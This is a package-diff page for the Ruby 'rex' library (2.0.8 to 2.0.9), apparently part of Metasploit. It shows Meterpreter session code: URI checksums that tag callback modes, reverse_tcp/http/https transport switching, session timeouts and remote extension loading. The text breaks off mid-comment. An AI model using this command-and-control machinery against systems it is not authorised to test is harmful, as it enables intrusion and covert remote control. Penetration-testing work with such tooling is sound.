rex 2.0.8 → 2.0.9
Sign up to get free protection for your applications and to get access to all the features.
- checksums.yaml +4 -4
- data/lib/rex.rb +1 -0
- data/lib/rex/arch.rb +5 -0
- data/lib/rex/arch/x86.rb +19 -5
- data/lib/rex/arch/zarch.rb +17 -0
- data/lib/rex/compat.rb +5 -4
- data/lib/rex/constants.rb +3 -1
- data/lib/rex/encoder/alpha2/alpha_mixed.rb +70 -9
- data/lib/rex/encoder/alpha2/alpha_upper.rb +67 -8
- data/lib/rex/exploitation/cmdstager.rb +1 -0
- data/lib/rex/exploitation/cmdstager/certutil.rb +115 -0
- data/lib/rex/exploitation/cmdstager/echo.rb +6 -3
- data/lib/rex/exploitation/egghunter.rb +1 -1
- data/lib/rex/google/geolocation.rb +68 -0
- data/lib/rex/io/bidirectional_pipe.rb +0 -4
- data/lib/rex/java/serialization.rb +2 -0
- data/lib/rex/java/serialization/decode_error.rb +11 -0
- data/lib/rex/java/serialization/encode_error.rb +11 -0
- data/lib/rex/java/serialization/model.rb +2 -0
- data/lib/rex/java/serialization/model/annotation.rb +3 -3
- data/lib/rex/java/serialization/model/block_data.rb +3 -3
- data/lib/rex/java/serialization/model/block_data_long.rb +3 -3
- data/lib/rex/java/serialization/model/class_desc.rb +6 -6
- data/lib/rex/java/serialization/model/contents.rb +17 -10
- data/lib/rex/java/serialization/model/field.rb +12 -11
- data/lib/rex/java/serialization/model/long_utf.rb +3 -3
- data/lib/rex/java/serialization/model/new_array.rb +22 -23
- data/lib/rex/java/serialization/model/new_class.rb +57 -0
- data/lib/rex/java/serialization/model/new_class_desc.rb +15 -16
- data/lib/rex/java/serialization/model/new_enum.rb +5 -5
- data/lib/rex/java/serialization/model/new_object.rb +22 -17
- data/lib/rex/java/serialization/model/proxy_class_desc.rb +109 -0
- data/lib/rex/java/serialization/model/reference.rb +4 -4
- data/lib/rex/java/serialization/model/stream.rb +7 -7
- data/lib/rex/java/serialization/model/utf.rb +3 -3
- data/lib/rex/json_hash_file.rb +94 -0
- data/lib/rex/logging/log_sink.rb +1 -0
- data/lib/rex/logging/sinks/timestamp_flatfile.rb +21 -0
- data/lib/rex/parser/appscan_nokogiri.rb +13 -23
- data/lib/rex/parser/fs/ntfs.rb +10 -5
- data/lib/rex/parser/nmap_nokogiri.rb +3 -1
- data/lib/rex/parser/openvas_nokogiri.rb +70 -73
- data/lib/rex/parser/winscp.rb +108 -0
- data/lib/rex/parser/x509_certificate.rb +92 -0
- data/lib/rex/payloads.rb +0 -1
- data/lib/rex/payloads/meterpreter/config.rb +154 -0
- data/lib/rex/payloads/meterpreter/uri_checksum.rb +136 -0
- data/lib/rex/post/meterpreter.rb +1 -1
- data/lib/rex/post/meterpreter/client.rb +26 -3
- data/lib/rex/post/meterpreter/client_core.rb +387 -75
- data/lib/rex/post/meterpreter/extensions/android/android.rb +127 -37
- data/lib/rex/post/meterpreter/extensions/android/tlv.rb +46 -25
- data/lib/rex/post/meterpreter/extensions/extapi/extapi.rb +4 -0
- data/lib/rex/post/meterpreter/extensions/extapi/ntds/ntds.rb +39 -0
- data/lib/rex/post/meterpreter/extensions/extapi/pageant/pageant.rb +44 -0
- data/lib/rex/post/meterpreter/extensions/extapi/tlv.rb +9 -0
- data/lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb +16 -1
- data/lib/rex/post/meterpreter/extensions/priv/priv.rb +1 -1
- data/lib/rex/post/meterpreter/extensions/python/python.rb +114 -0
- data/lib/rex/post/meterpreter/extensions/python/tlv.rb +21 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/fs/dir.rb +17 -14
- data/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb +33 -12
- data/lib/rex/post/meterpreter/extensions/stdapi/fs/mount.rb +57 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_kernel32.rb +3 -3
- data/lib/rex/post/meterpreter/extensions/stdapi/stdapi.rb +3 -1
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb +2 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/process.rb +16 -3
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry.rb +29 -6
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/registry_key.rb +5 -1
- data/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb +18 -6
- data/lib/rex/post/meterpreter/extensions/stdapi/ui.rb +2 -2
- data/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb +34 -36
- data/lib/rex/post/meterpreter/packet.rb +29 -0
- data/lib/rex/post/meterpreter/packet_dispatcher.rb +20 -7
- data/lib/rex/post/meterpreter/ui/console.rb +1 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb +230 -72
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +544 -34
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/adsi.rb +188 -57
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb +115 -93
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/lanattacks/dhcp.rb +1 -1
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/mimikatz.rb +1 -1
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/elevate.rb +49 -15
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/timestomp.rb +11 -2
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/python.rb +187 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb +324 -133
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/net.rb +52 -2
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb +68 -65
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb +9 -1
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb +113 -118
- data/lib/rex/post/meterpreter/ui/console/interactive_channel.rb +3 -0
- data/lib/rex/powershell.rb +62 -0
- data/lib/rex/powershell/command.rb +359 -0
- data/lib/rex/{exploitation/powershell → powershell}/function.rb +0 -2
- data/lib/rex/{exploitation/powershell → powershell}/obfu.rb +0 -2
- data/lib/rex/{exploitation/powershell → powershell}/output.rb +11 -5
- data/lib/rex/{exploitation/powershell → powershell}/param.rb +0 -2
- data/lib/rex/powershell/parser.rb +182 -0
- data/lib/rex/powershell/payload.rb +78 -0
- data/lib/rex/{exploitation/powershell → powershell}/psh_methods.rb +16 -2
- data/lib/rex/{exploitation/powershell → powershell}/script.rb +2 -4
- data/lib/rex/proto/dcerpc/client.rb +6 -6
- data/lib/rex/proto/dcerpc/exceptions.rb +26 -0
- data/lib/rex/proto/http/client.rb +3 -3
- data/lib/rex/proto/http/client_request.rb +0 -5
- data/lib/rex/proto/http/response.rb +86 -0
- data/lib/rex/proto/ipmi/utils.rb +30 -26
- data/lib/rex/proto/kerberos/client.rb +1 -1
- data/lib/rex/proto/kerberos/model/kdc_request.rb +2 -2
- data/lib/rex/proto/rfb/client.rb +8 -3
- data/lib/rex/proto/rfb/constants.rb +1 -1
- data/lib/rex/proto/rmi.rb +2 -0
- data/lib/rex/proto/rmi/decode_error.rb +10 -0
- data/lib/rex/proto/rmi/exception.rb +10 -0
- data/lib/rex/proto/rmi/model.rb +5 -0
- data/lib/rex/proto/rmi/model/call.rb +4 -4
- data/lib/rex/proto/rmi/model/call_data.rb +137 -0
- data/lib/rex/proto/rmi/model/dgc_ack.rb +2 -2
- data/lib/rex/proto/rmi/model/element.rb +26 -11
- data/lib/rex/proto/rmi/model/output_header.rb +4 -4
- data/lib/rex/proto/rmi/model/ping.rb +2 -2
- data/lib/rex/proto/rmi/model/ping_ack.rb +2 -2
- data/lib/rex/proto/rmi/model/protocol_ack.rb +2 -2
- data/lib/rex/proto/rmi/model/return_data.rb +5 -5
- data/lib/rex/proto/rmi/model/return_value.rb +124 -0
- data/lib/rex/proto/rmi/model/unique_identifier.rb +77 -0
- data/lib/rex/proto/steam.rb +3 -0
- data/lib/rex/proto/steam/message.rb +125 -0
- data/lib/rex/proto/tftp/client.rb +35 -14
- data/lib/rex/random_identifier_generator.rb +2 -0
- data/lib/rex/ropbuilder.rb +1 -1
- data/lib/rex/socket/parameters.rb +9 -0
- data/lib/rex/socket/ssl_tcp.rb +25 -41
- data/lib/rex/socket/ssl_tcp_server.rb +10 -21
- data/lib/rex/sslscan/result.rb +20 -1
- data/lib/rex/text.rb +241 -55
- data/lib/rex/ui/output.rb +0 -3
- data/lib/rex/ui/subscriber.rb +0 -10
- data/lib/rex/ui/text/color.rb +9 -0
- data/lib/rex/ui/text/dispatcher_shell.rb +1 -0
- data/lib/rex/ui/text/output.rb +15 -4
- data/lib/rex/ui/text/output/file.rb +1 -0
- data/lib/rex/ui/text/output/stdio.rb +0 -16
- data/lib/rex/ui/text/shell.rb +3 -0
- data/lib/rex/ui/text/table.rb +85 -19
- data/lib/rex/user_agent.rb +118 -0
- data/rex.gemspec +2 -2
- metadata +41 -14
- data/lib/rex/exploitation/powershell.rb +0 -62
- data/lib/rex/exploitation/powershell/parser.rb +0 -183
- data/lib/rex/payloads/meterpreter.rb +0 -2
- data/lib/rex/payloads/meterpreter/patch.rb +0 -136
@@ -0,0 +1,136 @@
|
|
1
|
+
# -*- coding: binary -*-
|
2
|
+
require 'msf/core/payload/uuid'
|
3
|
+
|
4
|
+
module Rex
|
5
|
+
module Payloads
|
6
|
+
module Meterpreter
|
7
|
+
module UriChecksum
|
8
|
+
|
9
|
+
#
|
10
|
+
# Define 8-bit checksums for matching URLs
|
11
|
+
# These are based on charset frequency
|
12
|
+
#
|
13
|
+
URI_CHECKSUM_INITW = 92 # Windows
|
14
|
+
URI_CHECKSUM_INITN = 92 # Native (same as Windows)
|
15
|
+
URI_CHECKSUM_INITP = 80 # Python
|
16
|
+
URI_CHECKSUM_INITJ = 88 # Java
|
17
|
+
URI_CHECKSUM_CONN = 98 # Existing session
|
18
|
+
URI_CHECKSUM_INIT_CONN = 95 # New stageless session
|
19
|
+
|
20
|
+
# Mapping between checksums and modes
|
21
|
+
URI_CHECKSUM_MODES = Hash[
|
22
|
+
URI_CHECKSUM_INITN, :init_native,
|
23
|
+
URI_CHECKSUM_INITP, :init_python,
|
24
|
+
URI_CHECKSUM_INITJ, :init_java,
|
25
|
+
URI_CHECKSUM_INIT_CONN, :init_connect,
|
26
|
+
URI_CHECKSUM_CONN, :connect
|
27
|
+
]
|
28
|
+
|
29
|
+
URI_CHECKSUM_MIN_LEN = 5
|
30
|
+
|
31
|
+
# Limit how long :connect URLs are to stay within 256 bytes when including
|
32
|
+
# the hostname, colon, port, and leading slash
|
33
|
+
URI_CHECKSUM_CONN_MAX_LEN = 128
|
34
|
+
|
35
|
+
URI_CHECKSUM_UUID_MIN_LEN = URI_CHECKSUM_MIN_LEN + Msf::Payload::UUID::UriLength
|
36
|
+
|
37
|
+
# Map "random" URIs to static strings, allowing us to randomize
|
38
|
+
# the URI sent in the first request.
|
39
|
+
#
|
40
|
+
# @param uri [String] The URI string from the HTTP request
|
41
|
+
# @return [Hash] The attributes extracted from the URI
|
42
|
+
def process_uri_resource(uri)
|
43
|
+
|
44
|
+
# Ignore non-base64url characters in the URL
|
45
|
+
uri_bare = uri.gsub(/[^a-zA-Z0-9_\-]/, '')
|
46
|
+
|
47
|
+
# Figure out the mode based on the checksum
|
48
|
+
uri_csum = Rex::Text.checksum8(uri_bare)
|
49
|
+
|
50
|
+
# Extract the UUID if the URI is long enough
|
51
|
+
uri_uuid = nil
|
52
|
+
if uri_bare.length >= URI_CHECKSUM_UUID_MIN_LEN
|
53
|
+
uri_uuid = Msf::Payload::UUID.new(uri: uri_bare)
|
54
|
+
end
|
55
|
+
|
56
|
+
uri_mode = URI_CHECKSUM_MODES[uri_csum]
|
57
|
+
|
58
|
+
# Return a hash of URI attributes
|
59
|
+
{ uri: uri_bare, sum: uri_csum, uuid: uri_uuid, mode: uri_mode }
|
60
|
+
end
|
61
|
+
|
62
|
+
# Create a URI that matches the specified checksum and payload uuid
|
63
|
+
#
|
64
|
+
# @param sum [Fixnum] A checksum mode value to use for the generated url
|
65
|
+
# @param uuid [Msf::Payload::UUID] A valid UUID object
|
66
|
+
# @param len [Fixnum] An optional URI length value, including the leading slash
|
67
|
+
# @return [String] The URI string for connections
|
68
|
+
def generate_uri_uuid(sum, uuid, len=nil)
|
69
|
+
curl_uri_len = URI_CHECKSUM_UUID_MIN_LEN+rand(URI_CHECKSUM_CONN_MAX_LEN-URI_CHECKSUM_UUID_MIN_LEN)
|
70
|
+
curl_prefix = uuid.to_uri
|
71
|
+
|
72
|
+
if len
|
73
|
+
# Subtract a byte to take into account the leading /
|
74
|
+
curl_uri_len = len - 1
|
75
|
+
end
|
76
|
+
|
77
|
+
if curl_uri_len < URI_CHECKSUM_UUID_MIN_LEN
|
78
|
+
raise ArgumentError, "Length must be #{URI_CHECKSUM_UUID_MIN_LEN+1} bytes or greater"
|
79
|
+
end
|
80
|
+
|
81
|
+
# Pad out the URI and make the checksum match the specified sum
|
82
|
+
"/" + generate_uri_checksum(sum, curl_uri_len, curl_prefix)
|
83
|
+
end
|
84
|
+
|
85
|
+
# Create an arbitrary length URI that matches a given checksum
|
86
|
+
#
|
87
|
+
# @param sum [Fixnum] The checksum value that the generated URI should match
|
88
|
+
# @param len [Fixnum] The length of the URI to generate
|
89
|
+
# @param prefix [String] The optional prefix to use to build the URI
|
90
|
+
# @return [String] The URI string that checksums to the given value
|
91
|
+
def generate_uri_checksum(sum, len=5, prefix="")
|
92
|
+
# Lengths shorter than 4 bytes are unable to match all possible checksums
|
93
|
+
# Lengths of exactly 4 are relatively slow to find for high checksum values
|
94
|
+
# Lengths of 5 or more bytes find a matching checksum fairly quickly (~80ms)
|
95
|
+
if len < URI_CHECKSUM_MIN_LEN
|
96
|
+
raise ArgumentError, "Length must be #{URI_CHECKSUM_MIN_LEN} bytes or greater"
|
97
|
+
end
|
98
|
+
|
99
|
+
gen_len = len-prefix.length
|
100
|
+
if gen_len < URI_CHECKSUM_MIN_LEN
|
101
|
+
raise ArgumentError, "Prefix must be at least {URI_CHECKSUM_MIN_LEN} bytes smaller than total length"
|
102
|
+
end
|
103
|
+
|
104
|
+
# Brute force a matching checksum for shorter URIs
|
105
|
+
if gen_len < 40
|
106
|
+
loop do
|
107
|
+
uri = prefix + Rex::Text.rand_text_base64url(gen_len)
|
108
|
+
return uri if Rex::Text.checksum8(uri) == sum
|
109
|
+
end
|
110
|
+
end
|
111
|
+
|
112
|
+
# The rand_text_base64url() method becomes a bottleneck at around 40 bytes
|
113
|
+
# Calculating a static prefix flattens out the average runtime for longer URIs
|
114
|
+
prefix << Rex::Text.rand_text_base64url(gen_len-20)
|
115
|
+
|
116
|
+
loop do
|
117
|
+
uri = prefix + Rex::Text.rand_text_base64url(20)
|
118
|
+
return uri if Rex::Text.checksum8(uri) == sum
|
119
|
+
end
|
120
|
+
end
|
121
|
+
|
122
|
+
# Return the numerical checksum for a given mode symbol
|
123
|
+
#
|
124
|
+
# @param mode [Symbol] The mode symbol to lookup (:connect, :init_native, :init_python, :init_java)
|
125
|
+
# @return [Fixnum] The URI checksum value corresponding with the mode
|
126
|
+
def uri_checksum_lookup(mode)
|
127
|
+
sum = URI_CHECKSUM_MODES.keys.select{|ksum| URI_CHECKSUM_MODES[ksum] == mode}.first
|
128
|
+
unless sum
|
129
|
+
raise ArgumentError, "Unknown checksum mode: #{mode}"
|
130
|
+
end
|
131
|
+
sum
|
132
|
+
end
|
133
|
+
end
|
134
|
+
end
|
135
|
+
end
|
136
|
+
end
|
data/lib/rex/post/meterpreter.rb
CHANGED
@@ -85,11 +85,18 @@ class Client
|
|
85
85
|
# Cleans up the meterpreter instance, terminating the dispatcher thread.
|
86
86
|
#
|
87
87
|
def cleanup_meterpreter
|
88
|
-
|
89
|
-
|
88
|
+
if not self.skip_cleanup
|
89
|
+
ext.aliases.each_value do | extension |
|
90
|
+
extension.cleanup if extension.respond_to?( 'cleanup' )
|
91
|
+
end
|
90
92
|
end
|
93
|
+
|
91
94
|
dispatcher_thread.kill if dispatcher_thread
|
92
|
-
|
95
|
+
|
96
|
+
if not self.skip_cleanup
|
97
|
+
core.shutdown rescue nil
|
98
|
+
end
|
99
|
+
|
93
100
|
shutdown_passive_dispatcher
|
94
101
|
end
|
95
102
|
|
@@ -111,6 +118,8 @@ class Client
|
|
111
118
|
self.ssl = opts[:ssl]
|
112
119
|
self.expiration = opts[:expiration]
|
113
120
|
self.comm_timeout = opts[:comm_timeout]
|
121
|
+
self.retry_total = opts[:retry_total]
|
122
|
+
self.retry_wait = opts[:retry_wait]
|
114
123
|
self.passive_dispatcher = opts[:passive_dispatcher]
|
115
124
|
|
116
125
|
self.response_timeout = opts[:timeout] || self.class.default_timeout
|
@@ -194,6 +203,7 @@ class Client
|
|
194
203
|
self.sock.extend(Rex::Socket::SslTcp)
|
195
204
|
self.sock.sslsock = ssl
|
196
205
|
self.sock.sslctx = ctx
|
206
|
+
self.sock.sslhash = Rex::Text.sha1_raw(ctx.cert.to_der)
|
197
207
|
|
198
208
|
tag = self.sock.get_once(-1, 30)
|
199
209
|
if(not tag or tag !~ /^GET \//)
|
@@ -206,6 +216,7 @@ class Client
|
|
206
216
|
self.sock.sslsock.close
|
207
217
|
self.sock.sslsock = nil
|
208
218
|
self.sock.sslctx = nil
|
219
|
+
self.sock.sslhash = nil
|
209
220
|
self.sock = self.sock.fd
|
210
221
|
self.sock.extend(::Rex::Socket::Tcp)
|
211
222
|
end
|
@@ -451,6 +462,14 @@ class Client
|
|
451
462
|
#
|
452
463
|
attr_accessor :comm_timeout
|
453
464
|
#
|
465
|
+
# The total time for retrying connections
|
466
|
+
#
|
467
|
+
attr_accessor :retry_total
|
468
|
+
#
|
469
|
+
# The time to wait between retry attempts
|
470
|
+
#
|
471
|
+
attr_accessor :retry_wait
|
472
|
+
#
|
454
473
|
# The Passive Dispatcher
|
455
474
|
#
|
456
475
|
attr_accessor :passive_dispatcher
|
@@ -462,6 +481,10 @@ class Client
|
|
462
481
|
# A list of the commands
|
463
482
|
#
|
464
483
|
attr_reader :commands
|
484
|
+
#
|
485
|
+
# The timestamp of the last received response
|
486
|
+
#
|
487
|
+
attr_accessor :last_checkin
|
465
488
|
|
466
489
|
protected
|
467
490
|
attr_accessor :parser, :ext_aliases # :nodoc:
|
@@ -8,8 +8,12 @@ require 'rex/post/meterpreter/client'
|
|
8
8
|
# argument for moving the meterpreter client into the Msf namespace.
|
9
9
|
require 'msf/core/payload/windows'
|
10
10
|
|
11
|
-
#
|
12
|
-
require '
|
11
|
+
# URI uuid and checksum stuff
|
12
|
+
require 'msf/core/payload/uuid'
|
13
|
+
require 'rex/payloads/meterpreter/uri_checksum'
|
14
|
+
|
15
|
+
# certificate hash checking
|
16
|
+
require 'rex/parser/x509_certificate'
|
13
17
|
|
14
18
|
module Rex
|
15
19
|
module Post
|
@@ -28,11 +32,29 @@ class ClientCore < Extension
|
|
28
32
|
UNIX_PATH_MAX = 108
|
29
33
|
DEFAULT_SOCK_PATH = "/tmp/meterpreter.sock"
|
30
34
|
|
35
|
+
METERPRETER_TRANSPORT_SSL = 0
|
36
|
+
METERPRETER_TRANSPORT_HTTP = 1
|
37
|
+
METERPRETER_TRANSPORT_HTTPS = 2
|
38
|
+
|
39
|
+
TIMEOUT_SESSION = 24*3600*7 # 1 week
|
40
|
+
TIMEOUT_COMMS = 300 # 5 minutes
|
41
|
+
TIMEOUT_RETRY_TOTAL = 60*60 # 1 hour
|
42
|
+
TIMEOUT_RETRY_WAIT = 10 # 10 seconds
|
43
|
+
|
44
|
+
VALID_TRANSPORTS = {
|
45
|
+
'reverse_tcp' => METERPRETER_TRANSPORT_SSL,
|
46
|
+
'reverse_http' => METERPRETER_TRANSPORT_HTTP,
|
47
|
+
'reverse_https' => METERPRETER_TRANSPORT_HTTPS,
|
48
|
+
'bind_tcp' => METERPRETER_TRANSPORT_SSL
|
49
|
+
}
|
50
|
+
|
51
|
+
include Rex::Payloads::Meterpreter::UriChecksum
|
52
|
+
|
31
53
|
#
|
32
54
|
# Initializes the 'core' portion of the meterpreter client commands.
|
33
55
|
#
|
34
56
|
def initialize(client)
|
35
|
-
super(client,
|
57
|
+
super(client, 'core')
|
36
58
|
end
|
37
59
|
|
38
60
|
##
|
@@ -41,6 +63,92 @@ class ClientCore < Extension
|
|
41
63
|
#
|
42
64
|
##
|
43
65
|
|
66
|
+
#
|
67
|
+
# Get a list of loaded commands for the given extension.
|
68
|
+
#
|
69
|
+
def get_loaded_extension_commands(extension_name)
|
70
|
+
request = Packet.create_request('core_enumextcmd')
|
71
|
+
request.add_tlv(TLV_TYPE_STRING, extension_name)
|
72
|
+
|
73
|
+
begin
|
74
|
+
response = self.client.send_packet_wait_response(request, self.client.response_timeout)
|
75
|
+
rescue
|
76
|
+
# In the case where orphaned shells call back with OLD copies of the meterpreter
|
77
|
+
# binaries, we end up with a case where this fails. So here we just return the
|
78
|
+
# empty list of supported commands.
|
79
|
+
return []
|
80
|
+
end
|
81
|
+
|
82
|
+
# No response?
|
83
|
+
if response.nil?
|
84
|
+
raise RuntimeError, 'No response was received to the core_enumextcmd request.', caller
|
85
|
+
elsif response.result != 0
|
86
|
+
# This case happens when the target doesn't support the core_enumextcmd message.
|
87
|
+
# If this is the case, then we just want to ignore the error and return an empty
|
88
|
+
# list. This will force the caller to load any required modules.
|
89
|
+
return []
|
90
|
+
end
|
91
|
+
|
92
|
+
commands = []
|
93
|
+
response.each(TLV_TYPE_STRING) { |c|
|
94
|
+
commands << c.value
|
95
|
+
}
|
96
|
+
|
97
|
+
commands
|
98
|
+
end
|
99
|
+
|
100
|
+
def transport_list
|
101
|
+
request = Packet.create_request('core_transport_list')
|
102
|
+
response = client.send_request(request)
|
103
|
+
|
104
|
+
result = {
|
105
|
+
:session_exp => response.get_tlv_value(TLV_TYPE_TRANS_SESSION_EXP),
|
106
|
+
:transports => []
|
107
|
+
}
|
108
|
+
|
109
|
+
response.each(TLV_TYPE_TRANS_GROUP) { |t|
|
110
|
+
result[:transports] << {
|
111
|
+
:url => t.get_tlv_value(TLV_TYPE_TRANS_URL),
|
112
|
+
:comm_timeout => t.get_tlv_value(TLV_TYPE_TRANS_COMM_TIMEOUT),
|
113
|
+
:retry_total => t.get_tlv_value(TLV_TYPE_TRANS_RETRY_TOTAL),
|
114
|
+
:retry_wait => t.get_tlv_value(TLV_TYPE_TRANS_RETRY_WAIT),
|
115
|
+
:ua => t.get_tlv_value(TLV_TYPE_TRANS_UA),
|
116
|
+
:proxy_host => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_HOST),
|
117
|
+
:proxy_user => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_USER),
|
118
|
+
:proxy_pass => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_PASS),
|
119
|
+
:cert_hash => t.get_tlv_value(TLV_TYPE_TRANS_CERT_HASH)
|
120
|
+
}
|
121
|
+
}
|
122
|
+
|
123
|
+
result
|
124
|
+
end
|
125
|
+
|
126
|
+
def set_transport_timeouts(opts={})
|
127
|
+
request = Packet.create_request('core_transport_set_timeouts')
|
128
|
+
|
129
|
+
if opts[:session_exp]
|
130
|
+
request.add_tlv(TLV_TYPE_TRANS_SESSION_EXP, opts[:session_exp])
|
131
|
+
end
|
132
|
+
if opts[:comm_timeout]
|
133
|
+
request.add_tlv(TLV_TYPE_TRANS_COMM_TIMEOUT, opts[:comm_timeout])
|
134
|
+
end
|
135
|
+
if opts[:retry_total]
|
136
|
+
request.add_tlv(TLV_TYPE_TRANS_RETRY_TOTAL, opts[:retry_total])
|
137
|
+
end
|
138
|
+
if opts[:retry_wait]
|
139
|
+
request.add_tlv(TLV_TYPE_TRANS_RETRY_WAIT, opts[:retry_wait])
|
140
|
+
end
|
141
|
+
|
142
|
+
response = client.send_request(request)
|
143
|
+
|
144
|
+
{
|
145
|
+
:session_exp => response.get_tlv_value(TLV_TYPE_TRANS_SESSION_EXP),
|
146
|
+
:comm_timeout => response.get_tlv_value(TLV_TYPE_TRANS_COMM_TIMEOUT),
|
147
|
+
:retry_total => response.get_tlv_value(TLV_TYPE_TRANS_RETRY_TOTAL),
|
148
|
+
:retry_wait => response.get_tlv_value(TLV_TYPE_TRANS_RETRY_WAIT)
|
149
|
+
}
|
150
|
+
end
|
151
|
+
|
44
152
|
#
|
45
153
|
# Loads a library on the remote meterpreter instance. This method
|
46
154
|
# supports loading both extension and non-extension libraries and
|
@@ -72,7 +180,7 @@ class ClientCore < Extension
|
|
72
180
|
|
73
181
|
# No library path, no cookie.
|
74
182
|
if library_path.nil?
|
75
|
-
raise ArgumentError,
|
183
|
+
raise ArgumentError, 'No library file path was supplied', caller
|
76
184
|
end
|
77
185
|
|
78
186
|
# Set up the proper loading flags
|
@@ -107,7 +215,7 @@ class ClientCore < Extension
|
|
107
215
|
# path of the local and target so that it gets loaded with a random
|
108
216
|
# name
|
109
217
|
if opts['Extension']
|
110
|
-
library_path = "ext
|
218
|
+
library_path = "ext#{rand(1000000)}.#{client.binary_suffix}"
|
111
219
|
target_path = library_path
|
112
220
|
end
|
113
221
|
end
|
@@ -125,7 +233,7 @@ class ClientCore < Extension
|
|
125
233
|
|
126
234
|
# No response?
|
127
235
|
if response.nil?
|
128
|
-
raise RuntimeError,
|
236
|
+
raise RuntimeError, 'No response was received to the core_loadlib request.', caller
|
129
237
|
elsif response.result != 0
|
130
238
|
raise RuntimeError, "The core_loadlib request failed with result: #{response.result}.", caller
|
131
239
|
end
|
@@ -153,44 +261,186 @@ class ClientCore < Extension
|
|
153
261
|
if mod.nil?
|
154
262
|
raise RuntimeError, "No modules were specified", caller
|
155
263
|
end
|
156
|
-
# Get us to the installation root and then into data/meterpreter, where
|
157
|
-
# the file is expected to be
|
158
|
-
modname = "ext_server_#{mod.downcase}"
|
159
|
-
path = MeterpreterBinaries.path(modname, client.binary_suffix)
|
160
264
|
|
161
|
-
if
|
162
|
-
|
163
|
-
|
265
|
+
# Query the remote instance to see if commands for the extension are
|
266
|
+
# already loaded
|
267
|
+
commands = get_loaded_extension_commands(mod.downcase)
|
164
268
|
|
165
|
-
if
|
166
|
-
|
269
|
+
# if there are existing commands for the given extension, then we can use
|
270
|
+
# what's already there
|
271
|
+
unless commands.length > 0
|
272
|
+
# Get us to the installation root and then into data/meterpreter, where
|
273
|
+
# the file is expected to be
|
274
|
+
modname = "ext_server_#{mod.downcase}"
|
275
|
+
path = MetasploitPayloads.meterpreter_path(modname, client.binary_suffix)
|
276
|
+
|
277
|
+
if opts['ExtensionPath']
|
278
|
+
path = ::File.expand_path(opts['ExtensionPath'])
|
279
|
+
end
|
280
|
+
|
281
|
+
if path.nil?
|
282
|
+
raise RuntimeError, "No module of the name #{modname}.#{client.binary_suffix} found", caller
|
283
|
+
end
|
284
|
+
|
285
|
+
# Load the extension DLL
|
286
|
+
commands = load_library(
|
287
|
+
'LibraryFilePath' => path,
|
288
|
+
'UploadLibrary' => true,
|
289
|
+
'Extension' => true,
|
290
|
+
'SaveToDisk' => opts['LoadFromDisk'])
|
167
291
|
end
|
168
292
|
|
169
|
-
#
|
170
|
-
commands = load_library(
|
171
|
-
'LibraryFilePath' => path,
|
172
|
-
'UploadLibrary' => true,
|
173
|
-
'Extension' => true,
|
174
|
-
'SaveToDisk' => opts['LoadFromDisk'])
|
293
|
+
# wire the commands into the client
|
175
294
|
client.add_extension(mod, commands)
|
176
295
|
|
177
296
|
return true
|
178
297
|
end
|
179
298
|
|
299
|
+
def uuid(timeout=nil)
|
300
|
+
request = Packet.create_request('core_uuid')
|
301
|
+
|
302
|
+
args = [ request ]
|
303
|
+
args << timeout if timeout
|
304
|
+
response = client.send_request(*args)
|
305
|
+
|
306
|
+
id = response.get_tlv_value(TLV_TYPE_UUID)
|
307
|
+
|
308
|
+
return Msf::Payload::UUID.new({:raw => id})
|
309
|
+
end
|
310
|
+
|
311
|
+
def machine_id(timeout=nil)
|
312
|
+
request = Packet.create_request('core_machine_id')
|
313
|
+
|
314
|
+
args = [ request ]
|
315
|
+
args << timeout if timeout
|
316
|
+
|
317
|
+
response = client.send_request(*args)
|
318
|
+
|
319
|
+
mid = response.get_tlv_value(TLV_TYPE_MACHINE_ID)
|
320
|
+
|
321
|
+
# Normalise the format of the incoming machine id so that it's consistent
|
322
|
+
# regardless of case and leading/trailing spaces. This means that the
|
323
|
+
# individual meterpreters don't have to care.
|
324
|
+
|
325
|
+
# Note that the machine ID may be blank or nil and that is OK
|
326
|
+
Rex::Text.md5(mid.to_s.downcase.strip)
|
327
|
+
end
|
328
|
+
|
329
|
+
def transport_remove(opts={})
|
330
|
+
request = transport_prepare_request('core_transport_remove', opts)
|
331
|
+
|
332
|
+
return false unless request
|
333
|
+
|
334
|
+
client.send_request(request)
|
335
|
+
|
336
|
+
return true
|
337
|
+
end
|
338
|
+
|
339
|
+
def transport_add(opts={})
|
340
|
+
request = transport_prepare_request('core_transport_add', opts)
|
341
|
+
|
342
|
+
return false unless request
|
343
|
+
|
344
|
+
client.send_request(request)
|
345
|
+
|
346
|
+
return true
|
347
|
+
end
|
348
|
+
|
349
|
+
def transport_change(opts={})
|
350
|
+
request = transport_prepare_request('core_transport_change', opts)
|
351
|
+
|
352
|
+
return false unless request
|
353
|
+
|
354
|
+
client.send_request(request)
|
355
|
+
|
356
|
+
return true
|
357
|
+
end
|
358
|
+
|
359
|
+
def transport_sleep(seconds)
|
360
|
+
return false if seconds == 0
|
361
|
+
|
362
|
+
request = Packet.create_request('core_transport_sleep')
|
363
|
+
|
364
|
+
# we're reusing the comms timeout setting here instead of
|
365
|
+
